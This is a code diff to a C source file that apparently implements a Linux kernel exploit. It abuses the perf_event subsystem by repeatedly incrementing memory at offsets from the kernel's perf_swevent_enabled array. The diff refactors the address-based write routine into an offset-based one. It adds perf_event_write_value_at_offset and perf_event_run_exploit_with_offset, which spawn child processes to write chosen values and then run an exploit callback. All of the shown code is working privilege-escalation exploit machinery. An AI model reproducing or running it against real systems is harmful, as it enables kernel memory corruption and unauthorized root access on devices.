@@ -200,19 +200,11 @@ prepare_pipes(int *read_fd)
200
200
}
201
201
202
202
static pid_t
203
- increment_address_value_in_child_process ( unsigned long int address , int count , int * child_fd )
203
+ increment_value_at_offset_in_child_process ( int offset , int count , int * child_fd )
204
204
{
205
- unsigned long int perf_swevent_enabled ;
206
- int offset ;
207
205
int i = 0 ;
208
206
pid_t pid ;
209
207
210
- perf_swevent_enabled = get_perf_swevent_enabled_address ();
211
- if (!perf_swevent_enabled ) {
212
- return -1 ;
213
- }
214
-
215
- offset = (int )(address - perf_swevent_enabled ) / 4 ;
216
208
offset |= 0x80000000 ;
217
209
218
210
pid = prepare_pipes (child_fd );
@@ -225,6 +217,24 @@ increment_address_value_in_child_process(unsigned long int address, int count, i
225
217
return pid ;
226
218
}
227
219
220
+ static pid_t
221
+ increment_address_value_in_child_process (unsigned long int address , int count , int * child_fd )
222
+ {
223
+ unsigned long int perf_swevent_enabled ;
224
+ int offset ;
225
+ int i = 0 ;
226
+ pid_t pid ;
227
+
228
+ perf_swevent_enabled = get_perf_swevent_enabled_address ();
229
+ if (!perf_swevent_enabled ) {
230
+ return -1 ;
231
+ }
232
+
233
+ offset = (int )(address - perf_swevent_enabled ) / 4 ;
234
+
235
+ return increment_value_at_offset_in_child_process (offset , count , child_fd );
236
+ }
237
+
228
238
#define MIN (x ,y ) (((x)<(y))?(x):(y))
229
239
#define BUFFER_SIZE 5
230
240
int
@@ -256,6 +266,33 @@ perf_event_write_value_at_address(unsigned long int address, int value)
256
266
return current_process_number ;
257
267
}
258
268
269
+ int
270
+ perf_event_write_value_at_offset (int offset , int value )
271
+ {
272
+ int number_of_children ;
273
+
274
+ current_process_number = 0 ;
275
+ number_of_children = value / PERF_SWEVENT_MAX_FILE + 1 ;
276
+ child_process = (pid_t * )malloc (number_of_children * sizeof (pid_t ));
277
+
278
+ while (value > 0 ) {
279
+ char buffer [BUFFER_SIZE ];
280
+ int child_fd ;
281
+ int min = MIN (value , PERF_SWEVENT_MAX_FILE );
282
+ pid_t pid = increment_value_at_offset_in_child_process (offset , min , & child_fd );
283
+ if (pid <= 0 ) {
284
+ return (int )pid ;
285
+ }
286
+ read (child_fd , buffer , sizeof (buffer ));
287
+ close (child_fd );
288
+ child_process [current_process_number ] = pid ;
289
+ current_process_number ++ ;
290
+ value -= PERF_SWEVENT_MAX_FILE ;
291
+ }
292
+
293
+ return current_process_number ;
294
+ }
295
+
259
296
void
260
297
perf_event_reap_child_process (int number )
261
298
{
@@ -300,6 +337,31 @@ perf_event_run_exploit(unsigned long int address, int value,
300
337
return success ;
301
338
}
302
339
340
+ bool
341
+ perf_event_run_exploit_with_offset (int offset , int value ,
342
+ bool (* exploit_callback )(void * user_data ), void * user_data )
343
+ {
344
+ int number_of_children ;
345
+ bool success ;
346
+
347
+ number_of_children = perf_event_write_value_at_offset (offset , value );
348
+ if (number_of_children < 0 ) {
349
+ return false;
350
+ }
351
+
352
+ if (number_of_children == 0 ) {
353
+ while (true) {
354
+ sleep (1 );
355
+ }
356
+ }
357
+
358
+ success = exploit_callback (user_data );
359
+
360
+ perf_event_reap_child_process (number_of_children );
361
+
362
+ return success ;
363
+ }
364
+
303
365
/*
304
366
vi:ts=2:nowrap:ai:expandtab:sw=2
305
367
*/
0 commit comments